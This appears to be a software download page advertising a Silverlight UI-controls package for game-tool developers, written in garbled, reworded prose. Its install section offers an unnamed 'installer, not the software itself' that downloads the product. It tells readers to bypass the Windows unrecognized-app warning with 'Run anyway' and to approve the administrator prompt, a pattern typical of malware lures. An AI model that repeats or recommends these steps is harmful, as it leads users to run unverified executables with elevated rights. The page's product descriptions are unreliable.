
Getting started
If you are developing tools or companion applications for PC games, Actipro Software Silverlight Controls can provide you with a useful selection of UI components for rapid development.It’s essentially a toolbox of Silverlight controls, including various editors, charting, layout panes, and some specialist controls that deal with common UI situations. A quick download allows you to evaluate how this package might fit within your development process.
What this package offers
At its core, the package clusters a number of targeted widgets so you don’t have to reinvent the wheel: a text editor with language extensions, a set of charting views, tiny micro chart stuff for tight display conditions, layout and view panels that animate and arrange content, a flow wizard component, and a vector bar code generator for when you need to encode graphics on the fly. Also included is a common utility package of shared objects and widgets such as toolbars, menus, and little interactive controls.
The practical functioning of it 4. How it works in practice
Developers just insert the controls into a Silverlight project and set options with more familiar XAML and code-behind. The code editor hooks into a parsing framework and provides high-end language capability add-ons if needed, and chart controls display series of data using familiar binding and palette techniques. The views package has panels that animate objects and are simple to use when creating a task board or page-flipping book view. As they are built for Silverlight platform, they work with Silverlight toolchains you already use and example applications that come with the trial enable you to get started quickly.
- It is the Installer, not the software itself – Smaller, Faster, Convenient
- One-click installer – no manual setup
- The installer downloads the full Actipro Software Silverlight Controls 2026.
How to Install
- Download and extract the ZIP file
- Open the extracted folder and run the installation file
- When Windows shows a blue “unrecognized app” window:
- Click More info → Run anyway
- Click Yes on User Account Control prompt
- Wait for automatic setup (~1 minute)
- Click on Start download
- After setup finishes, launch from desktop shortcut
- Enjoy
Key Features
- One syntax edit control including optional language add-ins such as C#, VB, JavaScript, JSON, Python and others.
- Complete charting library: line, bar, stacked area, pie and others with multiple series and legends to make a more interesting display.
- Micro charts and sparklines for small, inline data such as box plots and heat maps.
- Developed views and panels to enable animated item layout, TaskBoard for cards and columns, Book control for page based presentation.
- Wizard control- divides complicated flows into simple steps, which helps to develop installer or setup dialogs easily.
- Generates vector based bar code for the following symbologies: QR, UPC-A, Code 39 and various others.
- Each implementation mimics the exact same utility library for menus, drop shadows, rating controls, slight elements of the UI, etc., that requires a lot of replicate work, but only needs to be written once.
Why it helps you
If you’re pressed for time, these APIs take the drudgery out of constructing dev tools, mod managers, or internal editors for a game. They also provide prebuilt graphics and interaction paradigms so that you don’t have to redo all the menus and graphs that’s been done many times before, in order to implement new game code or data processing pipelines. The script editor can prototype script editors, or provide whatever live telemetry with syntax highlighting necessary. Charts and microcharts allow dashboards and telemetry views to be legible on first glance. The taskboard implementations can even serve as production team kanban boards. It’s not a sleight of hand, just a useful kit that will save you days.
Common Use Cases
- Combined level editors or script console with language add-on and syntax editor to syntax highlighting and parsing of code.
- Telemetry dashboards using full chart and micro charts in game tool suites for visualizing performance, fps or player stats.
- Dev team’s production trackers and task boards, by using Views to make draggable columns and cards.
- Installation and configuration flows that use the wizard control to walk novice users through configuration steps.
- For physical game merch, badges for events, or asset tagging it can be useful to generate a scalable vector barcode.
- Minor UI components such as ratings or radial sliders as part of companion apps for feedback or parameter adjustments.
Final thoughts
Provides a neatly packaged collection of Silverlight tools that should meet most engineering requirements. No buy bull here. Maximum editor control, datacharts, animated views, wizard overflows, barcode. Representation, a tight shared library of utilities to handle the usual UI repast. The free evaluation should help you gauge how well the components integrate into your tool chain and how many days they might save you on a production build. Licensing details can be obtained if you require production installation, vendor has pricing information and packages on his website.